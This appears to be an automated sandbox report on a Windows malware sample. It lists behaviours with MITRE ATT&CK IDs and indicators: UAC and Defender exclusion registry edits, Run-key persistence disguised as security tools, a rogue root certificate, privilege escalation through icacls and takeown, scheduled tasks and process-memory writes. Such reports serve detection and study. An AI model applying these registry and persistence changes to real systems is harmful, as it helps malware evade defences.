9cc4c6b0f959a85b2997922417c68088b947d974cedf3da6a9b9338226fd1f04

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AqIFQndV.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	d0zaQS.exe

Windows security bypass 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\4xUpaL = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IsTteQ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4744	powershell.exe
1184	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	d0zaQS.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
6020	icacls.exe
2144	icacls.exe
5756	icacls.exe
972	icacls.exe
5640	icacls.exe
3796	icacls.exe
2776	icacls.exe
5492	icacls.exe
6040	icacls.exe
6120	takeown.exe
2404	icacls.exe
2400	icacls.exe
3952	icacls.exe
1096	icacls.exe
4928	takeown.exe
5908	icacls.exe
5808	icacls.exe
5020	icacls.exe
1000	icacls.exe
3868	icacls.exe
4780	icacls.exe
3836	icacls.exe
1552	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	1nDnu8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	d0zaQS.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
5548	1nDnu8.exe
6140	1nDnu8.exe
2024	d0zaQS.exe
4544	d0zaQS.exe
3588	d0zaQS.exe
5360	0RTACPZ.exe
3500	bDdCSBxl.exe
6072	AqIFQndV.exe
3252	AK2zfV1e.exe
3124	d0zaQS.exe
1828	0RTACPZ.exe

Loads dropped DLL 8 IoCs

pid	Process
5548	1nDnu8.exe
6140	1nDnu8.exe
2024	d0zaQS.exe
4544	d0zaQS.exe
3588	d0zaQS.exe
5360	0RTACPZ.exe
3124	d0zaQS.exe
1828	0RTACPZ.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4928	takeown.exe
6120	takeown.exe
4780	icacls.exe
2404	icacls.exe
1552	icacls.exe
2776	icacls.exe
3836	icacls.exe
3952	icacls.exe
5492	icacls.exe
6040	icacls.exe
5756	icacls.exe
2144	icacls.exe
1000	icacls.exe
6020	icacls.exe
3868	icacls.exe
1096	icacls.exe
2400	icacls.exe
5020	icacls.exe
5908	icacls.exe
5640	icacls.exe
972	icacls.exe
5808	icacls.exe
3796	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\4xUpaL\\1nDnu8.exe\""	1nDnu8.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\IsTteQ\\d0zaQS.exe\""	d0zaQS.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

persistence privilege_escalation

Clear Persistence

T1070.009

pid	Process
6012	cmd.exe
4884	cmd.exe
5564	cmd.exe
5316	cmd.exe
1240	cmd.exe
1804	cmd.exe
2128	cmd.exe
1392	cmd.exe
2876	cmd.exe
1348	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	1nDnu8.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000200000001e79b-775.dat	upx
behavioral1/memory/6072-776-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x0002000000022be8-807.dat	upx
behavioral1/memory/3252-808-0x00007FF6AF5E0000-0x00007FF6AFA0F000-memory.dmp	upx
behavioral1/memory/6072-827-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/3252-871-0x00007FF6AF5E0000-0x00007FF6AFA0F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\C2R1rV7\image.png	d0zaQS.exe
File created	C:\Program Files (x86)\IsTteQ\XPSPLOG.dll	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\IsTteQ\XPSPLOG.dll	1nDnu8.exe
File created	C:\Program Files (x86)\C2R1rV7\image.png	d0zaQS.exe
File opened for modification	C:\Program Files (x86)\C2R1rV7\thumbs.db	d0zaQS.exe
File opened for modification	C:\Program Files (x86)\C2R1rV7\XPSPLOG.dll	d0zaQS.exe
File created	C:\Program Files (x86)\IsTteQ\image.png	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe	d0zaQS.exe
File opened for modification	C:\Program Files (x86)\IsTteQ	1nDnu8.exe
File created	C:\Program Files (x86)\IsTteQ\d0zaQS.exe	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\IsTteQ\thumbs.db	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\C2R1rV7	d0zaQS.exe
File created	C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe	d0zaQS.exe
File created	C:\Program Files (x86)\C2R1rV7\thumbs.db	d0zaQS.exe
File created	C:\Program Files (x86)\IsTteQ\thumbs.db	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\IsTteQ\d0zaQS.exe	1nDnu8.exe
File opened for modification	C:\Program Files (x86)\IsTteQ\image.png	1nDnu8.exe
File created	C:\Program Files (x86)\C2R1rV7\XPSPLOG.dll	d0zaQS.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2660	sc.exe
4576	sc.exe
700	sc.exe
3836	sc.exe
4572	sc.exe
3952	sc.exe
2804	sc.exe
1000	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0"	d0zaQS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	d0zaQS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE	d0zaQS.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1824	cmd.exe
4860	cmd.exe
5648	cmd.exe
4308	cmd.exe
1364	cmd.exe
4216	cmd.exe
5764	cmd.exe
4812	cmd.exe
5144	cmd.exe
4676	cmd.exe
432	cmd.exe
5508	cmd.exe
5896	cmd.exe
3544	cmd.exe
5768	cmd.exe
1880	cmd.exe
5172	cmd.exe
5416	cmd.exe
4144	cmd.exe
5556	cmd.exe
2488	cmd.exe
3368	cmd.exe
2060	cmd.exe
784	cmd.exe
4860	cmd.exe
5500	cmd.exe
6024	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	AK2zfV1e.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	AK2zfV1e.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0zaQS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0zaQS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0RTACPZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0zaQS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bDdCSBxl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AqIFQndV.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0zaQS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0RTACPZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	d0zaQS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	d0zaQS.exe

Modifies Control Panel 4 IoCs

defense_evasion spyware trojan

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0"	d0zaQS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	d0zaQS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	d0zaQS.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE	d0zaQS.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	1nDnu8.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	AK2zfV1e.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3904	schtasks.exe
3936	schtasks.exe
5192	schtasks.exe
5468	schtasks.exe
5608	schtasks.exe
5296	schtasks.exe
1016	schtasks.exe
2804	schtasks.exe
4780	schtasks.exe
2360	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
1304	install_v6.1.0.08.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe
5548	1nDnu8.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	2024	d0zaQS.exe
Token: SeDebugPrivilege	3500	bDdCSBxl.exe
Token: SeLockMemoryPrivilege	3252	AK2zfV1e.exe
Token: SeLockMemoryPrivilege	3252	AK2zfV1e.exe
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6072	AqIFQndV.exe
6072	AqIFQndV.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5548 wrote to memory of 6012	5548	1nDnu8.exe	100
PID 6012 wrote to memory of 1016	6012	cmd.exe	104
PID 5548 wrote to memory of 1392	5548	1nDnu8.exe	105
PID 6012 wrote to memory of 3580	6012	cmd.exe	107
PID 1392 wrote to memory of 2804	1392	cmd.exe	109
PID 6012 wrote to memory of 1148	6012	cmd.exe	111
PID 5548 wrote to memory of 2876	5548	1nDnu8.exe	112
PID 1392 wrote to memory of 3916	1392	cmd.exe	115
PID 2876 wrote to memory of 4780	2876	cmd.exe	116
PID 1392 wrote to memory of 1628	1392	cmd.exe	117
PID 2876 wrote to memory of 116	2876	cmd.exe	119
PID 1824 wrote to memory of 3880	1824	cmd.exe	120
PID 2876 wrote to memory of 3332	2876	cmd.exe	121
PID 5548 wrote to memory of 4884	5548	1nDnu8.exe	122
PID 5548 wrote to memory of 1348	5548	1nDnu8.exe	124
PID 4884 wrote to memory of 2360	4884	cmd.exe	126
PID 1348 wrote to memory of 3904	1348	cmd.exe	127
